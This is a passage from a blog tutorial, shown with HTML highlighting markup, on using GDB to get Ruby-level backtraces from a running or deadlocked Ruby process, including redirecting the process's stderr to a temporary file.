&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;where&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#0  0x00007ffff763446c in ppoll () from /usr/lib/libc.so.6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#1  0x00007ffff7af471a in rb_sigwait_sleep (th=th@entry=0x55555555d040, sigwait_fd=sigwait_fd@entry=3, rel=rel@entry=0x7fffffffb9a0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#2  0x00007ffff7af58b8 in native_sleep (th=&amp;#x3C;optimized out&gt;, rel=0x7fffffffb9a0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#3  0x00007ffff7af8c39 in sleep_hrtime (fl=2, rel=&amp;#x3C;optimized out&gt;, th=0x55555555d040) at thread.c:1325&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#4  rb_thread_wait_for (time=...) at thread.c:1408&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#5  0x00007ffff7a4995b in rb_f_sleep (argc=1, argv=0x7ffff7430088, _=&amp;#x3C;optimized out&gt;) at process.c:5219&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#6  0x00007ffff7b31ae7 in vm_call_cfunc_with_frame (ec=0x55555555e1c0, reg_cfp=0x7ffff752ff10, calling=&amp;#x3C;optimized out&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#7  0x00007ffff7b419c1 in vm_sendish (method_explorer=&amp;#x3C;optimized out&gt;, block_handler=&amp;#x3C;optimized out&gt;, cd=&amp;#x3C;optimized out&gt;, reg_cfp=&amp;#x3C;optimized out&gt;, ec=&amp;#x3C;optimized out&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#8  vm_exec_core (ec=0x7fffffffb8e8, ec@entry=0x55555555e1c0, initial=1, initial@entry=0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#9  0x00007ffff7b474e3 in rb_vm_exec (ec=0x55555555e1c0, jit_enable_p=jit_enable_p@entry=true) at vm.c:2374&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#10 0x00007ffff7b488c8 in rb_iseq_eval_main (iseq=&amp;#x3C;optimized out&gt;) at vm.c:2633&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#11 0x00007ffff7957e75 in rb_ec_exec_node (ec=ec@entry=0x55555555e1c0, n=n@entry=0x7ffff7fbda48) at eval.c:289&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#12 0x00007ffff795e4db in ruby_run_node (n=0x7ffff7fbda48) at eval.c:330&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#13 0x0000555555555102 in rb_main (argv=0x7fffffffbf18, argc=2) at ./main.c:38&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#14 main (argc=&amp;#x3C;optimized out&gt;, argv=&amp;#x3C;optimized out&gt;) at ./main.c:57&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But that&apos;s not especially helpful in telling us where our Ruby program is hanging. How do we use GDB to get a Ruby backtrace? Ruby actually makes this quite simple, just call &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_backtrace.c#L1035&quot;&gt;&lt;code&gt;rb_backtrace&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_backtrace&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sleep.rb:8:in&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        from sleep.rb:5:in `foo&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sleep.rb:5:in `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That was easy! This will print the current backtrace to stderr. Done, right? Well, yeah, possibly actually. If you&apos;re just looking to run a Ruby program and get a backtrace at some point during its execution then this should do you fine for the most part. But if that were the case you could also likely set a breakpoint with a Ruby debugger and get the same info with less hassle. What if you have an already-running process that&apos;s hung somewhere that you want to get a backtrace for? That&apos;s a more interesting situation.&lt;/p&gt;
&lt;p&gt;In the above example, the &lt;code&gt;rb_backtrace&lt;/code&gt; method will print to stderr &lt;em&gt;of the Ruby process, not the GDB process.&lt;/em&gt; To demonstrate this, let&apos;s run our Ruby process in one shell and then attach GDB to it from another:&lt;/p&gt;
&lt;p&gt;Shell 1:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./sleep.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Sleeping...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Shell 2:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gdb&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;pgrep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_backtrace&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Back in shell 1:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./sleep.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Sleeping...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./sleep.rb:8:in&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        from ./sleep.rb:5:in `foo&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./sleep.rb:5:in `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What happened here? &lt;code&gt;stderr&lt;/code&gt; is pointed at shell 1, so when we call &lt;code&gt;rb_backtrace()&lt;/code&gt; from shell 2, the backtrace is printed out in shell 1. That&apos;s fine for a simple example like this, but if you have an already running Ruby process you need to debug then it&apos;s probably running as a service so stderr isn&apos;t pointed at your terminal. Maybe it and stdout are going to a log somewhere, but let&apos;s assume we don&apos;t have access to them at all. How do we get our backtrace?&lt;/p&gt;
&lt;p&gt;To solve this we need to do some more work with GDB before calling for the backtrace. Using GDB we can re-open stderr for the Ruby process to a temporary file, get our backtrace, and then reset them.&lt;/p&gt;
&lt;p&gt;Shell 1:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./sleep.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Sleeping...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Shell 2:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gdb&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;pgrep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $old_stderr &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) dup(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $fd &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) creat(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;&quot;/tmp/backtrace.txt&quot;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0644&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) dup2($fd, 2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_backtrace&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) dup2($old_stderr, 2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (void) close($old_stderr)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (void) close($fd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;quit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; /tmp/backtrace.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./sleep.rb:8:in&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        from ./sleep.rb:5:in `foo&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./sleep.rb:5:in `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What we did above was set the &lt;code&gt;stderr&lt;/code&gt; file descriptor for the Ruby process to a file located under &lt;code&gt;/tmp&lt;/code&gt;, called &lt;code&gt;rb_backtrace()&lt;/code&gt; to write the backtrace to that file, and then reset &lt;code&gt;stderr&lt;/code&gt; to its original file descriptor. This way we can see what our Ruby process is currently doing even if we don&apos;t have access to its stderr stream and without needing to stop the already-running process.&lt;/p&gt;
&lt;h2&gt;What about other threads?&lt;/h2&gt;
&lt;p&gt;This is good and all for these simple examples, but most Ruby programs of any complexity will have multiple threads. And if you&apos;re resorting to debugging your program like this then it&apos;s most likely debugging a difficult to reproduce deadlock situation. &lt;code&gt;rb_backtrace()&lt;/code&gt; will only print the backtrace of the current thread so how do we get the backtrace of all threads?&lt;/p&gt;
&lt;p&gt;To explore this, let&apos;s use a new example Ruby program that starts two threads which deadlock:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#!/usr/bin/env ruby&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;mutex1 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Mutex&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;mutex2 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Mutex&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;thread1 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Thread&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  mutex1.lock&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  sleep&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;until&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; mutex2.locked?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  mutex2.lock&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;thread2 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Thread&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  mutex2.lock&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  sleep&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;until&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; mutex1.locked?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  mutex1.lock&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Start a third thread just so Ruby doesn&apos;t recognize the process as deadlocked and kill it before we can debug it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Thread&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;thread1.join&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;thread2.join&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From within GDB again, we can now print all of the running threads with &lt;code&gt;info threads&lt;/code&gt;, switch to another thread, and print its backtrace as such:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; deadlock.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# In another shell:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gdb&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;pgrep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; threads&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  Id&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;   Target&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; Id&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;                                             Frame&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; 1    Thread 0x7ff76b4637c0 (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;LWP&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1993106&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;ruby&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            0x00007ff76ab5c4c6 in &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;ppoll&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () from /usr/lib/libc.so.6&lt;/span&gt;&lt;/span&gt;
